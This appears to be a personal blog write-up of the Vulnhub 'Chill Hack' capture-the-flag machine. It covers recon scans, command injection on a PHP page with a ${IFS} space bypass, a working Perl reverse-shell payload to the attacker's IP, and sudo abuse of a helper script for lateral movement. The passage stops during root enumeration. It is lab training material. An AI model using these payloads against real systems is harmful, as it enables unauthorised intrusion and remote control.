Contents

Chill Hack

1

Love the login banner on this one - fun ASCII Art, already shows some artistic touch here!

I want to start working on a more methodical approach, to do that I’m going to try to split my Pentest into stages, let’s see how that goes.

Recon

What do we know, or what useful information can we find out, before even interacting with the system?
- 9 Dec 2020 Creation
- Flag: 2 (User and root)
- provides common and real world vulnerabilities
- The Vulnhub page shows a webpage
- It appears to be the authors first VM
- Checking out the twitter, it looks like he posted the same machine on tryhackme.com

Side Note: This is the first I’ve heard of tryhackme, I explored the site a little and they have a ‘king of the hill’ game. How fucking cool is that?! I absolutely want to check that out. I’ve never had a reason to deal with post-exploitation stage things like lateral movement or persistance, this could be a great motivator to learn some of those things!

Enumeration

With this scope of work, there’s not much point in digging up much, and we don’t care about the machine seeing our active probes… So let’s get right into it!

Initial Automated Enumeration

$ nmap -nP 192.168.2.0/24
...
Nmap scan report for 192.168.2.22
Host is up (0.00032s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:D2:3E:25:52:56 (Intel Corporate)
...

$ nikto --host 192.168.2.22 --port 80
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.22
+ Target Hostname:    192.168.2.22
+ Target Port:        80
+ Start Time:         2021-02-04 14:13:24 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Server may leak inodes via ETags, header found with file /, inode: 8970, size: 56d7e303a7e80, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD 
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2021-02-04 14:14:19 (GMT-5) (55 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Recap Useful Information

  • Target is up at 192.168.2.22
  • FTP Open on port 21
  • SSH open on port 22
  • Local PE Vector: Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation | linux/local/46676.php
  • Strange header worth checking out: ‘location: 127.0.1.1’
  • Absolutely worth taking a peak at /css, /secret, /images, /icons/README
  • XSS protection not set (I hope it doesn’t come to this…)

Enumerate FTP

$ msfconsole

msf6 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.2.22
RHOSTS => 192.168.2.22
msf6 auxiliary(scanner/ftp/anonymous) > run

[+] 192.168.2.22:21       - 192.168.2.22:21 - Anonymous READ (220 (vsFTPd 3.0.3))
[*] 192.168.2.22:21       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Recap

  • FTP Version: vsFTPd 3.0.3 (No CVE’s)
  • We apparently have anonymous read ability

Enumerate SSH

msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.2.22
RHOSTS => 192.168.2.22
msf6 auxiliary(scanner/ssh/ssh_version) > run

[+] 192.168.2.22:22       - SSH server version: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 ( service.version=7.6p1 openssh.comment=Ubuntu-4ubuntu0.3 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.cpe23=cpe:/a:openbsd:openssh:7.6p1 os.vendor=Ubuntu os.family=Linux os.product=Linux os.version=18.04 os.cpe23=cpe:/o:canonical:ubuntu_linux:18.04 service.protocol=ssh fingerprint_db=ssh.banner )
[*] 192.168.2.22:22       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

$ searchsploit openssh 7.6
OpenSSH 2.3 < 7.7 - Username Enumeration  | linux/remote/45233.py

$ vim /usr/share/exploitdb/exploits/linux/remote/45233.py
...
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
arg_parser.add_argument('--outputFile', type=str, help="The output file location")
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()
...

$ python /usr/share/exploitdb/exploits/linux/remote/45233.py 192.168.2.22

This, was a deadend. After messing about with out-dated python2 scripts to get them to work, they just return True for every username given. I’m sure If I read the source code or CVE details I could reproduce this, but that’s too much work just to get a username at this point. May come back to this later!

Recap

  • OpenSSH 7.6p1
  • Ubuntu 18.04
  • Potential Username Enumeration Vector

Explore HTTP

Loading up Burpsuite, opening a browser, turning off intercept… let’s see what’s around those points of interest we found earlier!
2

Alright so, It looks like some static resources this page is attempting to include failed to load. There is however at least the intention of Register/Login/Search functionality. Once I actually look at the page source though, it’s all fake. There’s no real form posts happening. This page could just be to mislead, or maybe rendering the page from a different source will get us somewhere?

Of course I had to checkout /secret first…
3

Umm… I entered ls into there:

4

I actually cried a little laughing, amazing haha! I tried entering nothing, and a few random things like asdf and no, and got this cute gif of some dude drinking coffee?
5

Something is interpreting this though, so we’ll return here and try to find a shell escape // command injection vulnerability here later.

6
/css doesn’t hold much useful information at a glance, other than the static resources that failed to load on the index are indeed not present.

7
There’s a ton of images here, but nothing that immediately captures my attention

/icons/README is the same default file we’ve seen 100 times, hasn’t lead me to anything before unless it pointed out a path traversal error, which briefly tested to no avail.

Before I finish up this light pass, let’s run Dirb:

$ dirb http://192.168.2.22                                                    

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Feb  4 15:01:58 2021
URL_BASE: http://192.168.2.22/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.2.22/ ----
==> DIRECTORY: http://192.168.2.22/css/                                                                                                                                                                         
==> DIRECTORY: http://192.168.2.22/fonts/                                                                                                                                                                       
==> DIRECTORY: http://192.168.2.22/images/                                                                                                                                                                      
+ http://192.168.2.22/index.html (CODE:200|SIZE:35184)                                                                                                                                                          
==> DIRECTORY: http://192.168.2.22/js/                                                                                                                                                                          
==> DIRECTORY: http://192.168.2.22/secret/                                                                                                                                                                      
+ http://192.168.2.22/server-status (CODE:403|SIZE:277)                                                                                                                                                         
                                                                                                                                                                                                                
---- Entering directory: http://192.168.2.22/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                
---- Entering directory: http://192.168.2.22/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                
---- Entering directory: http://192.168.2.22/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                
---- Entering directory: http://192.168.2.22/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                
---- Entering directory: http://192.168.2.22/secret/ ----
==> DIRECTORY: http://192.168.2.22/secret/images/                                                                                                                                                               
+ http://192.168.2.22/secret/index.php (CODE:200|SIZE:168)                                                                                                                                                      
                                                                                                                                                                                                                
---- Entering directory: http://192.168.2.22/secret/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Thu Feb  4 15:02:02 2021
DOWNLOADED: 9224 - FOUND: 3

Ah the default settings got us some more info! We know know that at /secret the ‘mystical’ backend is PHP, and there’s a nested /images page under it. Let’s go check that out!
8

Alright so it would appear that there’s only two execution paths to this page, we either get the “You Failed” image or the “Lad typing” gif. The fact that the former has “Fail” in the name makes me want to focus even more on this spot soon.

We also see that there’s a /fonts, /js and apache’s mod_status page present. I Checked them all out briefly, nothing special going on.

Recap

  • Static resources all fail to load on index
  • There seems to be login/register/search at index, but all do nothing (no form)
  • There’s a potential RCE vector at /secret (It’s a .PHP page) with seemingly two execution paths, one showing an image with “Fail” in the name.
  • /css, /image, /js, /fonts have indexing, nothing useful seems to be there (yet)
  • Superficial index page to mislead maybe?

# Exploitation
Alright, I think the best place to start after poking around is that little command entry. Let’s see if we can find some sort of command injection or shell escape there.

… The first thing I tired I got RCE …

I just entered no;ls:
8

We even get a fucking printout on the page, way too easy! But, the plot thickens…

I tried: no;which nc to see if netcat was present and we get the Fail image… took me a few more tried until I realized, it seems like any spaces in the command and it fails?

So… what if we try this:
- cat

images index.php root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin aurick:x:1000:1000:Anurodh:/home/aurick:/bin/bash mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false apaar:x:1001:1001:,,,:/home/apaar:/bin/bash anurodh:x:1002:1002:,,,:/home/anurodh:/bin/bash ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

Yup, that works and now we have a list of users on the system… Let’s just real quick make sure we’re not running shit as root here…
I entered: l;whoami and got www-data. Classic.

Well, this should be as easy as crafting a reverse shell command with no spaces! Well, how can we do that? ${IFS} is a standard environment variable that produces a space…

I entered: k;which${IFS}nc and got /bin/nc back. Perfect!

I entered: k;nc${IFS}192.168.2.21${IFS}4444${IFS}-e${IFS}/bin/bash, No response. I think that means we produced an error.

Let’s check a few more things here…
k;echo${IFS}'nc${IFS}192.168.2.21${IFS}4444${IFS}-e${IFS}/bin/bash' -> No Response.
k;echo${IFS}'hello' -> hello
k;echo${IFS}'hello.hello' -> hello.hello
k;echo${IFS}'hello/hello' -> hello/hello
k;echo${IFS}"hello./hello" -> No Response
k;echo${IFS}"." -> .
k;which${IFS}python -> No Response
k;which${IFS}python3 -> /usr/bin/python3
k;which${IFS}bash -> /bin/bash
k;which${IFS}perl -> /usr/bin/perl
k;echo${IFS}"-" -> -
k;echo${IFS}"192.168.2.22" -> 192.168.2.22
k;nc${IFS}-h

Man I’m confused as to how this works…
k;ls -la /home -> total 20 drwxr-xr-x 5 root root 4096 Oct 3 04:28 . drwxr-xr-x 24 root root 4096 Feb 4 19:07 .. drwxr-x--- 2 anurodh anurodh 4096 Oct 4 14:01 anurodh drwxr-xr-x 5 apaar apaar 4096 Oct 4 14:11 apaar drwxr-x--- 4 aurick aurick 4096 Oct 3 05:33 aurick

I decided to give perl a shot and we popped a reverse shell! The working payload:
k;perl -e 'use Socket;$i="192.168.2.21";$p=6969;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Get us a tty shell
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
[email protected]:/var/www/files$ cd ~
cd ~
[email protected]:/var/www$ ls -al
ls -al
total 16
drwxr-xr-x  4 root root 4096 Oct  3 04:01 .
drwxr-xr-x 14 root root 4096 Oct  3 03:44 ..
drwxr-xr-x  3 root root 4096 Oct  3 04:40 files
drwxr-xr-x  8 root root 4096 Oct  3 04:40 html
[email protected]:/var/www$ cd files
cd files
[email protected]:/var/www/files$ ls -al
ls -al
total 28
drwxr-xr-x 3 root root 4096 Oct  3 04:40 .
drwxr-xr-x 4 root root 4096 Oct  3 04:01 ..
-rw-r--r-- 1 root root  391 Oct  3 04:01 account.php
-rw-r--r-- 1 root root  453 Oct  3 04:02 hacker.php
drwxr-xr-x 2 root root 4096 Oct  3 06:30 images
-rw-r--r-- 1 root root 1153 Oct  3 04:02 index.php
-rw-r--r-- 1 root root  545 Oct  3 04:07 style.css

Looks like there was another page somewhere there we missed, probably had something to do with that location header? Let’s have a peek at the files there…

#index.php
<html>
<body>
<?php
	if(isset($_POST['submit']))
	{
		$username = $_POST['username'];
		$password = $_POST['password'];
		ob_start();
		session_start();
		try
		{
			$con = new PDO("mysql:dbname=webportal;host=localhost","root","[email protected][email protected]");
			$con->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_WARNING);
		}
		catch(PDOException $e)
		{
			exit("Connection failed ". $e->getMessage());
		}
		require_once("account.php");
		$account = new Account($con);
		$success = $account->login($username,$password);
		if($success)
		{
			header("Location: hacker.php");
		}
	}
?>
<link rel="stylesheet" type="text/css" href="style.css">
	<div class="signInContainer">
		<div class="column">
			<div class="header">
				<h2 style="color:blue;">Customer Portal</h2>
				<h3 style="color:green;">Log In<h3>
			</div>
			<form method="POST">
				<?php echo $success?>
                		<input type="text" name="username" id="username" placeholder="Username" required>
				<input type="password" name="password" id="password" placeholder="Password" required>
				<input type="submit" name="submit" value="Submit">
        		</form>
		</div>
	</div>
</body>
</html>
# account.php
<?php

class Account
{
	public function __construct($con)
	{
		$this->con = $con;
	}
	public function login($un,$pw)
	{
		$pw = hash("md5",$pw);
		$query = $this->con->prepare("SELECT * FROM users WHERE username='$un' AND password='$pw'");
		$query->execute();
		if($query->rowCount() >= 1)
		{
			return true;
		}?>
		<h1 style="color:red";>Invalid username or password</h1>
	<?php }
}

?>

<html>
<head>
<body>
<style>
body {
  background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif');
}
h2
{
	color:red;
	font-weight: bold;
}
h1
{
	color: yellow;
	font-weight: bold;
}
</style>
<center>
	<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
	<h1 style="background-color:red;">You have reached this far. </h2>
	<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
</center>
</head>
</html>

Huh, interesting. Anyway…

Post-Exploitation

Time to find a PE vector and get root!

[email protected]:/home$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh

[email protected]:/home$ cat /home/apaar/.helpline.sh
cat /home/apaar/.helpline.sh
#!/bin/bash

echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo

read -p "Enter the person whom you want to talk with: " person

read -p "Hello user! I am $person,  Please enter your message: " msg

$msg 2>/dev/null

echo "Thank you for your precious time!"

[email protected]:/home$ /bin/sh /home/apaar/.helpline.sh
/bin/sh /home/apaar/.helpline.sh

Welcome to helpdesk. Feel free to talk to anyone at any time!

Enter the person whom you want to talk with: 

Hello user! I am ,  Please enter your message: ls
ls
anurodh  apaar	aurick
Thank you for your precious time!

[email protected]:/home$ /bin/sh /home/apaar/.helpline.sh
/bin/sh /home/apaar/.helpline.sh

Welcome to helpdesk. Feel free to talk to anyone at any time!

Enter the person whom you want to talk with: 

Hello user! I am ,  Please enter your message: /bin/bash -e
/bin/bash -e
id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
exit
exit
Thank you for your precious time!

[email protected]:/home$ sudo -u apaaf /home/apaar/.helpline.sh
sudo -u apaaf /home/apaar/.helpline.sh
sudo: unknown user: apaaf
sudo: unable to initialize policy plugin
[email protected]:/home$ sudo -u apaar /home/apaar/.helpline.sh
sudo -u apaar /home/apaar/.helpline.sh

Welcome to helpdesk. Feel free to talk to anyone at any time!

Enter the person whom you want to talk with: 

Hello user! I am ,  Please enter your message: /bin/bash -e
/bin/bash -e
id
id
uid=1001(apaar) gid=1001(apaar) groups=1001(apaar)

python3 -c 'import pty;pty.spawn("/bin/bash")'
[email protected]:/home$ id
id
uid=1001(apaar) gid=1001(apaar) groups=1001(apaar)

[email protected]:~$ cat local.txt
cat local.txt
{USER-FLAG: e******w}

Wohoo! we got the first flag nice and quick!

Now, let’s try to get root shall we?

[email protected]:/var/backups$ cd /etc
cd /etc
[email protected]:/etc$ ls *cron*
ls *cron*
crontab

cron.d:
mdadm  php  popularity-contest

cron.daily:
apache2       dpkg       mlocate                 update-notifier-common
apport        logrotate  passwd
apt-compat    man-db     popularity-contest
bsdmainutils  mdadm      ubuntu-advantage-tools

cron.hourly:

cron.monthly:

cron.weekly:
man-db  update-notifier-common
[email protected]:/etc$ cat cron.d/popularity-contest
cat cron.d/popularity-contest
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
34 13 * * *   root    test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contest --crond

[email protected]:/etc$ cat /etc/cron.daily/popularity-contest
cat /etc/cron.daily/popularity-contest
#!/bin/sh
set -e

# don't run if this package is removed but not purged
if [ ! -f /usr/sbin/popularity-contest ]; then
	exit 0
fi

MODE="$1"

unset MAILFROM
unset MAILTO
unset MY_HOSTID
unset PARTICIPATE
unset SUBMITURLS
unset USEHTTP
unset MTAOPS

# get configuration information
. /usr/share/popularity-contest/default.conf
. /etc/popularity-contest.conf

if test -d /etc/popularity-contest.d/; then
  for file in `run-parts --list --regex '\.conf$' /etc/popularity-contest.d/`;
  do
   . $file
  done
fi

# don't run if MAILTO address is blank, and not configured to use HTTP POST!
if [ -z "$MAILTO" ] && [ "yes" != "$USEHTTP" ]; then exit 0; fi

# don't run if PARTICIPATE is "no" or unset!
if [ "$PARTICIPATE" = "no" ] || [ -z "$PARTICIPATE" ]; then exit 0; fi

if [ -n "$HTTP_PROXY" ]; then
  export http_proxy="$HTTP_PROXY";
fi

POPCONOLD=/var/log/popularity-contest
POPCONNEW=/var/log/popularity-contest.new
POPCON="$POPCONNEW"

# Only run on the given day, to spread the load on the server a bit
if [ "$DAY" ] && [ "$DAY" != "$(date +%w)" ] ; then
	# Ensure that popcon runs at least once in the last week
	if [ -f "$POPCONOLD" ] ; then
		now=$(date +%s)
		lastrun=$(date -r $POPCONOLD +%s)
                if [ "$MODE" = "--crond" ]; then
			# 6.5 days, in seconds
			week=561600
	        else
			# 7.5 days, in seconds
			week=648000
                fi
		if [ "$(( $now - $lastrun ))" -le "$week" ]; then
			exit 0
		fi
	fi
fi

# keep old logs
cd /var/log
umask 022
savelog -c 7 popularity-contest >/dev/null

run_popcon()
{
	runuser -s /bin/sh -c "/usr/sbin/popularity-contest" nobody
}

do_sendmail()
{
	if [ -n "$MAILFROM" ]; then
		sendmail -oi $MTAOPS -f "$MAILFROM" $MAILTO
	else
		sendmail -oi $MTAOPS $MAILTO
	fi
}

# generate the popularity contest data

run_popcon > $POPCON

GPG=/usr/bin/gpg

if [ "$ENCRYPT" = "yes" ] && ! [ -x "$GPG" ]; then
  logger -t popularity-contest "encryption required but gpg is not available."
  echo "popularity-contest: encryption required but gpg is not available." 2>&1
  exit 1
fi

if [ -x "$GPG" ] && [ "$ENCRYPT" = "maybe" ] || [ "$ENCRYPT" = "yes" ]; then
  POPCONGPG="$POPCON.gpg"
  rm -f "$POPCONGPG"
  GPGHOME=`mktemp -d`
  $GPG --batch --no-options --no-default-keyring --trust-model=always \
       --homedir "$GPGHOME" --keyring $KEYRING --quiet \
       --armor -o "$POPCONGPG" -r $POPCONKEY --encrypt "$POPCON"
  rm -rf "$GPGHOME"
  POPCON="$POPCONGPG"
fi

SUBMITTED=no

# try to post the report through http POST
if [ "$SUBMITURLS" ] && [ "yes" = "$USEHTTP" ]; then
    for URL in $SUBMITURLS ; do
	if setsid /usr/share/popularity-contest/popcon-upload \
	    -u $URL -f $POPCON -C 2>/dev/null ; then
		SUBMITTED=yes
	else
		logger -t popularity-contest "unable to submit report to $URL."
	fi
    done
fi

# try to email the popularity contest data

if [ "$MODE" = "--crond" ] && [ yes != "$SUBMITTED" ] && [ "$MAILTO" ]; then
    if [ -x "`which sendmail 2>/dev/null`" ]; then
	(
	    if [ -n "$MAILFROM" ]; then
	       	echo "From: <$MAILFROM>"
	    	echo "Sender: <$MAILFROM>"
	    fi
	    echo "To: $MAILTO"
	    echo "Subject: popularity-contest submission"
	    echo "MIME-Version: 1.0"
	    echo "Content-Type: text/plain"
	    echo
	    cat $POPCON
	) | do_sendmail
	SUBMITTED=yes
    else
	logger -t popularity-contest "unable to submit report using sendmail."
    fi
fi

if [ "yes" != "$SUBMITTED" ] ; then
	logger -t popularity-contest "unable to submit report."
else
	mv $POPCONNEW $POPCONOLD
fi

That’s a root cronjob that executes every hour, and we can read it’s contents! Now I’ve got to spend some time reading this…

/usr/sbin/popularity-contest we like to see things in /sbin… does it execute that?

What’s in those config files?

cat /usr/share/popularity-contest/default.conf
# Default config file for Debian's popularity-contest package.
#
# Local overrides are in /etc/popularity-contest.conf

# PARTICIPATE can be one of "yes" or "no".
# If you don't want to participate in the contest, say "no"
# and we won't send messages.
#
# If this option is missing, the default is "no".
#
PARTICIPATE="no"

# ENCRYPT can be one of "yes", "maybe" or "no".
# If "yes", reports are encrypted using public key cryptography.
# This protects against eavesdroppers when the report is transmitted.
# However reports can only be read by the popcon server.
# This requires the package gnupg to be installed.
# If "maybe", reports are encrypted only if gnupg is available.
#
ENCRYPT="no"

# KEYRING and POPCONKEY specify the key to use for encryption.
# They should not be changed for proper operation with
# popcon.debian.org.
#
KEYRING="/usr/share/popularity-contest/debian-popcon.gpg"
POPCONKEY="3F28C7EC54D00227C397BC7A1EA34EFBE7FD7002"

# MAILTO specifies the address to e-mail statistics to each week.
#
#MAILTO="[email protected]"

# MAILFROM is the forged sender email address you want to use in
# email submitted to the popularity-contest.  If this is commented
# out, no From: or Sender: lines will be added to the outgoing mail,
# and it will be your MTA's job to add them.  This is usually what
# you want.
#
# If your MTA is misconfigured or impossible to configure correctly,
# and it always generates invalid From: and/or Sender: lines, you
# can force different results by setting MAILFROM here.  This can
# cause problems with spam bouncers, so most people should leave it
# commented out.
#
#MAILFROM="[email protected]"

# SUBMITURLS is a space separated list of where to submit
# popularity-contest reports using http.
SUBMITURLS="https://popcon.ubuntu.com/popcon-submit.cgi"

# USEHTTP enables http reporting.   Set this to 'yes' to enable it.
USEHTTP="yes"

# HTTP_PROXY allows to specify an HTTP proxy server, the syntax is
# HTTP_PROXY="http://proxy:port". This overrides the environment
# variable http_proxy.

# MY_HOSTID is a secret number that the popularity-contest receiver
# uses to keep track of your submissions.  Whenever you send in a
# new entry, it overwrites the last one that had the same HOSTID.
#
# This key was generated automatically so you should normally just
# leave it alone.
#
#MY_HOSTID="_ID_"

… This looks so legit? I did some quick googling and discovered this is a real thing not just some shit the author made up! Nothing on exploitdb for it, this may be a deadend.

even if we could overwrite the binary, it runs as nobody

run_popcon()
{
	runuser -s /bin/sh -c "/usr/sbin/popularity-contest" nobody
}

Alright moving on…

$ ps -aux | grep root
ps -aux | grep root
root          1  0.0  0.4 159708  8940 ?        Ss   19:11   0:01 /sbin/init auto automatic-ubiquity noprompt
root          2  0.0  0.0      0     0 ?        S    19:11   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        I<   19:11   0:00 [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        I<   19:11   0:00 [mm_percpu_wq]
root          7  0.0  0.0      0     0 ?        S    19:11   0:00 [ksoftirqd/0]
root          8  0.0  0.0      0     0 ?        I    19:11   0:00 [rcu_sched]
root          9  0.0  0.0      0     0 ?        I    19:11   0:00 [rcu_bh]
root         10  0.0  0.0      0     0 ?        S    19:11   0:00 [migration/0]
root         11  0.0  0.0      0     0 ?        S    19:11   0:00 [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    19:11   0:00 [cpuhp/0]
root         13  0.0  0.0      0     0 ?        S    19:11   0:00 [cpuhp/1]
root         14  0.0  0.0      0     0 ?        S    19:11   0:00 [watchdog/1]
root         15  0.0  0.0      0     0 ?        S    19:11   0:00 [migration/1]
root         16  0.0  0.0      0     0 ?        S    19:11   0:00 [ksoftirqd/1]
root         18  0.0  0.0      0     0 ?        I<   19:11   0:00 [kworker/1:0H]
root         19  0.0  0.0      0     0 ?        S    19:11   0:00 [kdevtmpfs]
root         20  0.0  0.0      0     0 ?        I<   19:11   0:00 [netns]
root         21  0.0  0.0      0     0 ?        S    19:11   0:00 [rcu_tasks_kthre]
root         22  0.0  0.0      0     0 ?        S    19:11   0:00 [kauditd]
root         23  0.0  0.0      0     0 ?        I    19:11   0:04 [kworker/0:1]
root         24  0.0  0.0      0     0 ?        S    19:11   0:00 [khungtaskd]
root         25  0.0  0.0      0     0 ?        S    19:11   0:00 [oom_reaper]
root         26  0.0  0.0      0     0 ?        I<   19:11   0:00 [writeback]
root         27  0.0  0.0      0     0 ?        S    19:11   0:00 [kcompactd0]
root         28  0.0  0.0      0     0 ?        SN   19:11   0:00 [ksmd]
root         29  0.0  0.0      0     0 ?        SN   19:11   0:00 [khugepaged]
root         30  0.0  0.0      0     0 ?        I<   19:11   0:00 [crypto]
root         31  0.0  0.0      0     0 ?        I<   19:11   0:00 [kintegrityd]
root         32  0.0  0.0      0     0 ?        I<   19:11   0:00 [kblockd]
root         33  0.0  0.0      0     0 ?        I<   19:11   0:00 [ata_sff]
root         34  0.0  0.0      0     0 ?        I<   19:11   0:00 [md]
root         35  0.0  0.0      0     0 ?        I<   19:11   0:00 [edac-poller]
root         36  0.0  0.0      0     0 ?        I<   19:11   0:00 [devfreq_wq]
root         37  0.0  0.0      0     0 ?        I<   19:11   0:00 [watchdogd]
root         39  0.0  0.0      0     0 ?        I    19:11   0:00 [kworker/1:1]
root         41  0.0  0.0      0     0 ?        S    19:11   0:00 [kswapd0]
root         42  0.0  0.0      0     0 ?        I<   19:11   0:00 [kworker/u257:0]
root         43  0.0  0.0      0     0 ?        S    19:11   0:00 [ecryptfs-kthrea]
root         85  0.0  0.0      0     0 ?        I<   19:11   0:00 [kthrotld]
root         86  0.0  0.0      0     0 ?        I<   19:11   0:00 [acpi_thermal_pm]
root         87  0.0  0.0      0     0 ?        S    19:11   0:00 [scsi_eh_0]
root        274  0.0  0.0      0     0 ?        I<   19:11   0:00 [scsi_tmf_32]
root        302  0.0  0.0      0     0 ?        I<   19:11   0:00 [ttm_swap]
root        303  0.0  0.0      0     0 ?        S    19:11   0:00 [irq/16-vmwgfx]
root        306  0.0  0.0      0     0 ?        I<   19:11   0:00 [kworker/0:1H]
root        309  0.0  0.0      0     0 ?        I<   19:11   0:00 [kworker/1:1H]
root        313  0.0  0.0      0     0 ?        I<   19:11   0:00 [kdmflush]
root        316  0.0  0.0      0     0 ?        I<   19:11   0:00 [bioset]
root        389  0.0  0.0      0     0 ?        I<   19:11   0:00 [raid5wq]
root        439  0.0  0.0      0     0 ?        S    19:11   0:00 [jbd2/dm-0-8]
root        440  0.0  0.0      0     0 ?        I<   19:11   0:00 [ext4-rsv-conver]
root        512  0.0  0.6  78440 12108 ?        S<s  19:11   0:00 /lib/systemd/systemd-journald
root        513  0.0  0.0      0     0 ?        I<   19:11   0:00 [iscsi_eh]
root        515  0.0  0.0      0     0 ?        I<   19:11   0:00 [ib-comp-wq]
root        516  0.0  0.0      0     0 ?        I<   19:11   0:00 [ib-comp-unb-wq]
root        517  0.0  0.0      0     0 ?        I<   19:11   0:00 [ib_mcast]
root        518  0.0  0.0      0     0 ?        I<   19:11   0:00 [ib_nl_sa_wq]
root        519  0.0  0.0      0     0 ?        I<   19:11   0:00 [rdma_cm]
root        522  0.0  0.0 105904  1848 ?        Ss   19:11   0:00 /sbin/lvmetad -f
root        529  0.0  0.2  46232  5200 ?        Ss   19:11   0:00 /lib/systemd/systemd-udevd
